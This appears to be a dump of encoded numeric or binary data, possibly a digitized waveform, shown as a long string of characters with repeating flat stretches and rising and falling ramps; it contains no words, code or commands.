!#!%#)%*(-,//114365:8<;>>A@DCGFJHLKOMRNTQVSYU[X^[a^d`gbiflhnjqluoyqyu{x}z|~µĶŸǺ˼;̿ʽǺŸö}{yv~t|rzqxovltkripgnfldjbg`e]c[aY_X]V[TZRYOWNTKRJQHOFMEKCHAG?E=C;A:>8:58472514/3.3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-3-3-3-3-3-4,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,3,5,5,5,3-2.2-2-2-2-1-1-1-2-2-2-2-2.1/0/10110213132626272819292:2<2<3=2>3@3@3A2A2B3B1C2E2E2F2H2H2I1I2J2K2L1L2M2N1O1O1P0P/P0Q1R1S1S0T1U1U0W1X1X0W/V0S1Q1N3J2F2@1;05020/1-2-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-3,3,3,3-4.3-2-2-2/4042453433313/3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.5.6/82:4<5>7@9C;D<E?GAJBKDLFNFPISKVMYPZR[T^V`WaXc[e]f^h`kbmdpfqiskvlwnxp{q}suwx{}õķŹȻɽ˿ɾȼƺŷ÷|y|wzuvsspqnoklijfgdebc``]]ZZWXUUTSQOMMKJIHFFBE@A=?<<99775421/.,+*('&%$#!   ! $"&%(',*.,0/22557699=<??BAEDGGKHMKONSPURWUYX\Y_\b_ebhekgmjplrntqxs|u}x~{}÷Ÿƺȼ˽˿ʾɻƹķ´~|{zwt}r{pxnwmukriqgoelcjbi_f^d\bZ`X^V\TZRXPWNULRKPIOGMFKDIBG@E>B;A9?8<6:451505/4.3.3-2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-3-3-3-3-3-3-4-4-4-3-3-2.2.2.2.2.2.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,3,3,2.2/1.1.1.1/0///0/000011120206/708090:2<1<1=1?2?2@1A3B2C1D2E2E2F2I3I3I1J2J2K1K1M2M1N0P0P1Q1R0S0S1T0T0U0V0W1W0X0X.Y0Y0Z1[0[/]0]/^0_0`0`/`._.\/[0X1T1P1I1D1?0:/5/1//1.2-3-3-3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-3-3-3-3-3-3.2.1.1/11423526262423303.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-3-3-4-4.6/7092:4<6?7@8B<C>F?H@IBLCMFPHRJTLVNWPZS\T^V`VbYcZd\g^j`lboephrisjulwmyo{r}suwy{~öŸƺȼ˾̿ʽȻǹķ|z~yzwvtsqqoolmjkhiffdda`^]\ZYXVVTRQPNMLLJJFGDEAA??=<;:8754310..,,*)''%#"!    ""%$'&*)-+0-20436698::=<@@BBEEHGKJNLQNSQVTXVZX][`]c`fcifkhnkrntpvryt{w~y|ùƻȼɽ˿ɾȼƹĸµ|zxwv~s|qzowmtksjqgofmckai_g^e\c[aY^V\U[RXQWNUMSKQINHMFLEJCG@E>D<A:?8<6;492813.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.2.2.2.2.3-3-3-3-3,3-3-3-3-3-3-3-3-2.3-1,1,1.00/0000102/2030405162728090>/?0A/B0C1D/E/E0F0F0H0I1I/K0L0M0M1N1P2Q1R0R1R0S0T0U0U/V/W/X/Y0Y/Z/[/[/\.].^.^/_.`.`-a.a.b/c/c/e/e-f.f.g.g-h-h,e-d.a/^0Z0T1N1H1B/<.6.2-//-3-3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-3-3-3-3-3-2.1.0/0113352707172624112/3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-3-3-3-4-5.6/7082:3<5?8@:B<D=F>H@KCLENGPIQKSMVOWPZR\S^T`VaXcZe]h_jamcnepgqitjvkxnzp|q~svxz}~´ĶŸǺɼ̾˾ʼǻŸö}~z{xwutrroqmolmjjhhedbb`^][ZXWUUSRQPOMMJKHHEECB@?>=<;97754220/--++('%%#"!    !$"&%)',*/,2/406487;:<;>>A@DDHFJIMKPNSQURXUZW][_]b_eaidkgmjpmsovrxt{v~x{|·ĺǼɾ˿˿ɽƺĸµ}{ywu~s|qzoxmukriqgpemckbj`g^e\bZaY`W]T[SYQVNSMRJQIOGLEICIBG@E>B<@:?8<6:492715/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2.2.2.2.1.2.1/3/20100304151617291:1;2<1=2>2@2@1A/F.G/H/I/J/K/L0M/M/N0O/P/Q/R0T/U0U0V/W0X/X/X/Y/Z/Z.\.\/]/_.`-a.b.b.c.d.d.e.f-g.g.h.h,i-i.j.k.k.m-m-n-n,o-p-p-p,p,n+k.h.c/]0X1R2L1E1>/7-2//3-3-3-5,5,5,5,5,3,3,3-3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1-1./0020516180808171523202.2-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2.3,3-4.4/5/6081:4;6=7?9A:C=F>GAICLFMGOJQKSLUNWPZQ[R^U`VbYd[f]i_jakbmdpgrhsjukwmyo|q~twxz|~µķŸǺʾʿȼƺĸ¶}|yywwsuqtprmokliifgdca`^][ZYXVVTTQRNOLLIJGHEEBB@>=;;98754321..,+*('&%$""   " $"&%*(,+0-2/527497<;>=A?CAEDIGMIOLROUQWTYW[Y_\b_d`fcjelhokqmtpwrzu}wz|}ĹǼǾɿʽȼƺĸ~|zxv~t}s{qxovlsjripgndlcjah_e]cZaY`X^V\TZRWPSMQKPINGLEJDHAF?E>B=@;?8<6;593705/4.2,1+3,3,3,3,3,3-2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-1.1.0.0/0/0/00/00213243617291;2<3>2@3A3C2C2D2E1F1G2G0H/M.N.O/P/R/S/S0U/V/V0W.X.X/Y0Z/[/[.].].]/_0a/b/b.d.d/e/e.f.f-h-h.i.j.k-k-k-l,m-n-n-o+o,q-q-r.s-t-t,t,u,v-w-w-w,x+v,t,q,k.f0`2Z3T3N2E1=.7022.3-3-5,5,5,5,5,3,3,3-3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1-0/01/31618190:19292604211/2-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3.2-2-2-1,1,3-3-3-4.4.4.5.708293<5>7@9B;E>F@HBIDLFMGOISKTMVOWPZR\S_VaXcZe]f^i`jalcnfqhritkvlxo{q~tvxy{}¶ĸǻɽ˿ɽǻŹ÷}~z{wyuwsuqsoqlmjkgidebc^_\]YYWXUVRSOQMNKLIJEGCC@>=<;:88663310--++))'&%#"!    !#!%#)'+)/,1.517395;7=;A>C@FCHEJGNKQMTOVRYU[W^Za\d_fbidjfmipksnupxs|v~yz}µĸƺǼȽ̿ʽƺŹ}{yw}u{syqxovnulsiognekchag_e]c[`Y^W\UZTYRVPUNSLPJOHLFJDHBF@E>B=@:=9;7:4925/3.3-3-2,2,2,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5-4.3-3-2-3.3.3-3-2-1.1//0010314151617182:3;3<3=2?2A2C2D3F3G2H2I3K2L1M1N0O0O0P.S/T.U.V/W/W.X/Z/Z/[0\0]0^/_/_.a.b/c/c/d.e/e.f.h/h0i/i/j.l-l.m.n.o-p-p.q,r-s-s.t-t-u-u.v.v-w-x-x,z,z,z-{.|-},}+}*|+{,y-t-o/i1b2Z3T4M2D1=06102/2.3-3-4+5,5,3,3,3-3-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1.1/01/30507190:1:292614212/2-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2-2-2-3-3-3-3-3-3-4/4/81:3<6=7@9B<C>D@GBIDLFNHPJQKRLVOXP[S\U_WaYb[d\e^gajbldmfogrislvmxp|s}uvxz}~·ŹǺȼʿʿǼƺŹõ}z~x|vzuvrtppmnjlhiffbd_b]_[\YYVWSUPRNPLMIJGHDDAA>><<::785412//--+*)'&$$!     !#!&$(&+).,2/417496<8>:B>DAGCIEKHNJQMTOWRZU]X^Zb]e_gbielgnipltnwqys}wz|µ÷Źǻɽʿʽɼƺĸ~|zx~v}uzsxpvnultkqjnfldibf`e]d\a[_X]V[TZSWPVOTMQKOIMGKEHCGAE?C=A;@:=8;69471704.3-3-2-2,2,2,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,4-3-3-2-1.1.1/2/203122241608292;2<1=2>1?2A2B2C1D2F1H1I1K2L1M1N1O0Q0R0S/T/U/V0V/X.Y/Z/[/\/\/]/^/_/`/a/b/c/d/d/f.f.g/h/i/i/j.j.l.m.n.n.o-p-q,r-s-t-t-u-v-v,w-x-x-y-y,z,{-{-|-|,}-~,,---,,+++~-z,u.o0h1a3Z3R3J0C0<05111/1.3-4-5,5,3,3,3-3-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2/12042628292:3:393634323/2-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-6/7092;4=6?8@;B<C>F@IBLENFOHPJRKTNWPYR]T^W_W`Zc[e]f`iakclengqitkvnxp{r|t}vwz|}~µĸƺɼʿʿȼǻƸö³~{y~w{uxruprmojmhjegbe`c^`[]YZVXSUQSNQLNJKFGDEAB?@<=:;88442301..++('&%#"      !" %#'&)(,*0-206385:8=:@<C>EAIDKGMIOLRNUQWS[V^Ya\c^f`hckfnhpkrmuoxr{u}vy}¶Źƺȼ˾ʾǼƺŸ¶}{y~v|u{syrvotmskpioglfkchaf^d\aZ_X]W[UYRXQVOSMRKOJNHLFJDGAE?C=A;?9>7<5;483614/3.3-3-2-2-2,2,2,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.3-3-2-2-2-2-2-2-2-2.1/10010213242628493<2>2@3A3C3D2D1E2G2H1J1K1L2M1O1P0R0R1S1T0U0W0Y/Y/Z.[/[/\/^/_/_/a/a/b/c.d/d/e.f.g/h/i.i/j.k.l/m/n.o.p.p.q.r.s.s-t-u,v-w-w-x,y-z,z,{,|-|-}-~,,,---,-,,-,,,,,,,--|.v0p1i2a4Y2Q0I1B2:05-0//1.3.5-5,3,3,3-3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3/222437494:4:49484543414/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3